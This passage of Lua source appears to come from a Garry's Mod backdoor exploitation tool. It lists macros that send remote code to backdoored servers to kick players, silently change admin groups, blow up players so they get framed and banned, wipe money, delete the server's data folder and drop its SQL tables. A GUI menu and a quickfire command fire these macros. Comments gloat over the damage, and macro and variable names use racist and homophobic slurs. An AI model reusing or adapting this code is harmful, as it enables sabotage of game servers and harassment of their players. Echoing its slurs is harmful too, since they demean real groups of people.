8050
8051 Ent.VehicleName = vehicle.Class
8052
8053 Ent.VehicleTable = @1
8054
8055 Ent.ClassOverride = vehicle.Class
8056
8057 ]],
8058 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8059 ["NeedsParameters"] = 1
8060 },
8061 ["Kick player"] = {
8062 ["Type"] = 2,
8063 ["Code"] = [[ v:Kick( @1 ) ]],
8064 ["Desc"] = "First parameter = reason for kick"
8065 },
8066 ["Niggerize player"] = {
8067 ["Type"] = 2,
8068 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
8069 ["Desc"] = "Turns them black as night"
8070 },
8071 ["Cloak player"] = {
8072 ["Type"] = 2,
8073 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8074 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8075 },
8076 ["Allahu Ackbar"] = {
8077 ["Type"] = 2,
8078 ["Code"] = [[
8079
8080 local explo = ents.Create("env_explosion")
8081
8082 explo:SetOwner(v)
8083
8084 explo:SetPos(v:GetPos())
8085
8086 explo:SetKeyValue("iMagnitude", "250")
8087
8088 explo:Spawn()
8089
8090 explo:Activate()
8091
8092 explo:Fire("Explode", "", 0)
8093
8094 if v:Alive() then v:Kill() end
8095
8096 ]],
8097 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8098 },
8099 ["ULX set access"] = {
8100 ["Type"] = 2,
8101 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8102 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8103 ["NeedsParameters"] = 1
8104 },
8105 ------------------------ dangerous codens ------------------------
8106 ["DarkRP clear all money"] = {
8107 ["Type"] = 3,
8108 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8109 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8110 },
8111 ["Cleanup map"] = {
8112 ["Type"] = 3,
8113 ["Code"] = [[game.CleanUpMap()]],
8114 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8115 },
8116 ["Vaporize all players"] = {
8117 ["Type"] = 3,
8118 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8119 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8120 },
8121 ["FPP Unrestrict everything"] = {
8122 ["Type"] = 3,
8123 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8124 ["Desc"] = ""
8125 },
8126 ["Wipe data folder"] = {
8127 ["Type"] = 3,
8128 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8129 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8130 },
8131 ["Wipe DarkRP SQL Tables"] = {
8132 ["Type"] = 3,
8133 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8134 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8135 }
8136}
8137
8138local selectedbackdoor = ""
8139local backdoorargs = ""
8140local selectedplayers = {}
8141
8142function BD.GenerateBackdoorList(parent, category)
8143 for k, v in SortedPairs(BD.BDMacros, false) do
8144 if v["Type"] ~= category then continue end
8145 local plypanel2 = vgui.Create("DPanel")
8146 plypanel2:SetPos(0, 0)
8147 plypanel2:SetSize(200, 25)
8148
8149 -- Paint function
8150 plypanel2.Paint = function()
8151 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8152
8153 if selectedbackdoor == k then
8154 surface.SetDrawColor(Color(70, 130, 180, 255))
8155 else
8156 surface.SetDrawColor(Color(0, 0, 0, 255))
8157 end
8158
8159 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8160 end
8161
8162 local plyname = vgui.Create("DLabel", plypanel2)
8163 plyname:SetPos(10, 5)
8164 plyname:SetFont("Trebuchet18")
8165 local tcol = Color(255, 255, 255)
8166
8167 if v.Private then
8168 tcol = Color(155, 255, 155)
8169 end
8170
8171 plyname:SetColor(tcol)
8172 plyname:SetText(k)
8173 plyname:SetSize(180, 15)
8174 local faggot = vgui.Create("DButton", plypanel2)
8175 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8176 faggot:SetPos(0, 0)
8177 faggot:SetText("")
8178
8179 if v["Desc"] ~= "" then
8180 faggot:SetToolTip(v["Desc"])
8181 end
8182
8183 faggot.Paint = function(panel, w, h) return end
8184
8185 faggot.DoClick = function()
8186 selectedbackdoor = k
8187 end
8188
8189 parent:AddItem(plypanel2)
8190 end
8191end
8192
8193function BD.FormatCodeTargeted()
8194 if selectedbackdoor == "" then
8195 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8196
8197 return
8198 end
8199
8200 local param = string.Explode(",", backdoorargs)
8201 local ids = {}
8202
8203 for k, v in pairs(selectedplayers) do
8204 if not v:IsValid() then
8205 table.RemoveByValue(selectedplayers, v)
8206 continue
8207 end
8208
8209 table.insert(ids, v:UniqueID())
8210 end
8211
8212 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8213 code = string.Replace(code, "##", table.ToString(ids))
8214 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8215 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8216
8217 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8218 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8219
8220 return
8221 end
8222
8223 if #param < 1 then
8224 param = {
8225 [1] = "derp",
8226 [2] = "derp",
8227 [3] = "derp",
8228 [4] = "derp",
8229 [5] = "derp"
8230 }
8231 end
8232
8233 for k, v in pairs(param) do
8234 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8235 end
8236
8237 BD.Fire(code)
8238end
8239
8240function BD.FormatCodeGlobal()
8241 if selectedbackdoor == "" then
8242 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8243
8244 return
8245 end
8246
8247 local param = string.Explode(",", backdoorargs)
8248 local code = BD.BDMacros[selectedbackdoor]["Code"]
8249
8250 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8251 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8252
8253 return
8254 end
8255
8256 if #param < 1 then
8257 param = {
8258 [1] = "derp",
8259 [2] = "derp",
8260 [3] = "derp",
8261 [4] = "derp",
8262 [5] = "derp"
8263 }
8264 end
8265
8266 for k, v in pairs(param) do
8267 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8268 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8269 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8270
8271 for k, v in pairs(BackDoor_net) do
8272 code = string.Replace(code, "%BD", v.NetWork)
8273 end
8274 end
8275
8276 BD.Fire(code)
8277end
8278
8279local safenet = net
8280
8281local function bdnet()
8282 if R8 and R8.G then return R8.G.net end
8283
8284 return safenet
8285end
8286
8287function BD.Fire(code)
8288 local cbd = BD.CurrentBackdoor
8289 local key = BD.BackdoorTypes[cbd].Netkey
8290 bdnet().Start(key)
8291 bdnet().WriteString(code)
8292 bdnet().SendToServer()
8293end
8294
8295surface.CreateFont("exitmenu", {
8296 font = "Arial",
8297 size = 20,
8298 weight = 1000,
8299 shadow = false,
8300 outline = false
8301})
8302
8303local function exitmenu(panel, X, y)
8304 local CButton = vgui.Create("DButton", panel)
8305 CButton:SetTextColor(Color(150, 150, 150))
8306 CButton:SetText("Ð Ò")
8307 CButton:SetFont("exitmenu")
8308 CButton:SetPos(X, y)
8309 CButton:SetSize(50, 24)
8310
8311 CButton.DoClick = function()
8312 panel:SizeTo(0, 0, .2, 0, .2)
8313
8314 timer.Simple(0.3, function()
8315 panel:SetVisible(false)
8316 end)
8317 end
8318
8319 CButton.Paint = function(panel, w, h)
8320 surface.SetDrawColor(Color(0, 0, 0, 255))
8321 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8322 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8323 end
8324
8325 CButton.OnCursorEntered = function(self)
8326 surface.PlaySound("garrysmod/ui_hover.wav")
8327
8328 CButton.Paint = function(panel, w, h)
8329 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8330 end
8331 end
8332
8333 -------------------------------------------------------------
8334 CButton.OnCursorExited = function(self)
8335 CButton.Paint = function(panel, w, h)
8336 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8337 end
8338 end
8339 ------------------------------------------------------------------------
8340end
8341
8342local blur = Material("pp/blurscreen")
8343
8344local function DrawBlur(panel, amount)
8345 local x, y = panel:LocalToScreen(0, 0)
8346 local scrW, scrH = ScrW(), ScrH()
8347 surface.SetDrawColor(255, 255, 255)
8348 surface.SetMaterial(blur)
8349
8350 for i = 1, 3 do
8351 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8352 blur:Recompute()
8353 render.UpdateScreenEffectTexture()
8354 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8355 end
8356end
8357
8358CreateClientConVar("menu_r", "148", true, false)
8359CreateClientConVar("menu_g", "0", true, false)
8360CreateClientConVar("menu_b", "211", true, false)
8361
8362function BD.BackdoorMenu()
8363 BD.Backdoors = BD.PingBackDoors()
8364 local BDMenu = vgui.Create("DFrame")
8365 BDMenu:Center()
8366 BDMenu:SizeTo(500, 400, .3, 0, .3)
8367 exitmenu(BDMenu, 449, 1)
8368 BDMenu:SetTitle(" ")
8369 BDMenu:ShowCloseButton(false)
8370 BDMenu:SetVisible(true)
8371 BDMenu:MakePopup()
8372
8373 function BDMenu:Paint()
8374 DrawBlur(self, 5)
8375 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8376 surface.SetDrawColor(Color(0, 0, 0, 255))
8377 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8378 ---------------------------------------------------------
8379 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8380 ---------------------------------------------------------
8381 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8382 -------------------------------------------------
8383 surface.DrawOutlinedRect(0, 0, 449, 26)
8384 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8385 --
8386 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8387 ------------------------------------------------
8388 end
8389
8390 local it = 145
8391 local Plist = vgui.Create("DPanelList", BDMenu)
8392 Plist:SetPos(5, 30)
8393 Plist:SetSize(200, 315)
8394 Plist:SetPadding(5)
8395 Plist:SetSpacing(5)
8396 Plist:EnableHorizontal(false)
8397 Plist:EnableVerticalScrollbar(true)
8398 Plist:SetName("")
8399
8400 Plist.Paint = function(self, w, h)
8401 DrawBlur(self, 5)
8402 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8403 surface.SetDrawColor(Color(0, 0, 0, 255))
8404 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8405 end
8406
8407 local Plist4 = vgui.Create("DPanelList", BDMenu)
8408 Plist4:SetPos(210, 30)
8409 Plist4:SetSize(285, 315)
8410 Plist4:SetPadding(5)
8411 Plist4:SetSpacing(5)
8412 Plist4:EnableHorizontal(false)
8413 Plist4:EnableVerticalScrollbar(true)
8414 Plist4:SetName("")
8415
8416 Plist4.Paint = function(self, w, h)
8417 surface.SetDrawColor(50, 50, 50, 255)
8418 surface.DrawOutlinedRect(0, 0, w, h)
8419 surface.SetDrawColor(0, 0, 0, 200)
8420 surface.DrawRect(0, 0, w, h)
8421 end
8422
8423 local faggot = vgui.Create("DButton", BDMenu)
8424 faggot:Dock(5)
8425 faggot:SetText("Activate Backdoor!")
8426 faggot:SetTextColor(Color(255, 255, 255, 255))
8427
8428 faggot.Paint = function(panel, w, h)
8429 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8430 surface.SetDrawColor(Color(0, 0, 0, 255))
8431 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8432 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8433 end
8434
8435 faggot.DoClick = function()
8436 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8437 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8438
8439 return
8440 end
8441
8442 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8443 BD.FormatCodeGlobal()
8444 else
8445 BD.FormatCodeTargeted()
8446 end
8447
8448 surface.PlaySound("buttons/button18.wav")
8449 end
8450
8451 local moonman = vgui.Create("DTextEntry", BDMenu)
8452 moonman:Dock(5)
8453 moonman:DockMargin(0, 0, 0, 5)
8454 moonman:SetText(backdoorargs)
8455
8456 moonman.OnChange = function(self)
8457 backdoorargs = self:GetValue()
8458 end
8459
8460 -- surface.PlaySound("buttons/button3.wav")
8461 -- players list
8462 for k, v in pairs(player.GetAll()) do
8463 local plypanel2 = vgui.Create("DPanel")
8464 plypanel2:SetPos(0, 0)
8465 plypanel2:SetSize(200, 25)
8466
8467 -- Paint function
8468 plypanel2.Paint = function()
8469 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8470
8471 if table.HasValue(selectedplayers, v) then
8472 surface.SetDrawColor(Color(50, 255, 90, 255))
8473 else
8474 surface.SetDrawColor(Color(50, 50, 90, 255))
8475 end
8476
8477 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8478 end
8479
8480 local plyname = vgui.Create("DLabel", plypanel2)
8481 plyname:SetPos(10, 5)
8482 plyname:SetFont("Trebuchet18")
8483 local tcol = Color(255, 255, 255)
8484
8485 if v == LocalPlayer() then
8486 tcol = Color(155, 155, 255)
8487 end
8488
8489 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8490 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8491 plyname:SetColor(tcol)
8492 plyname:SetText(v:Nick())
8493 plyname:SetSize(180, 15)
8494 local faggot = vgui.Create("DButton", plypanel2)
8495 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8496 faggot:SetPos(0, 0)
8497 faggot:SetText("")
8498 faggot.Paint = function(panel, w, h) return end
8499
8500 faggot.DoClick = function()
8501 if table.HasValue(selectedplayers, v) then
8502 table.RemoveByValue(selectedplayers, v)
8503 else
8504 table.insert(selectedplayers, v)
8505 end
8506 end
8507
8508 Plist4:AddItem(plypanel2)
8509 end
8510
8511 BD.GenerateBackdoorList(Plist, 1)
8512 BD.GenerateBackdoorList(Plist, 2)
8513 BD.GenerateBackdoorList(Plist, 3)
8514end
8515
8516concommand.Add("bd_menu", BD.BackdoorMenu)
8517
8518function BD.QuickFireBackdoor()
8519 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8520 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8521
8522 return
8523 end
8524
8525 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8526 BD.FormatCodeGlobal()
8527 else
8528 BD.FormatCodeTargeted()
8529 end
8530end
8531
8532concommand.Add("bd_quickfire", BD.QuickFireBackdoor)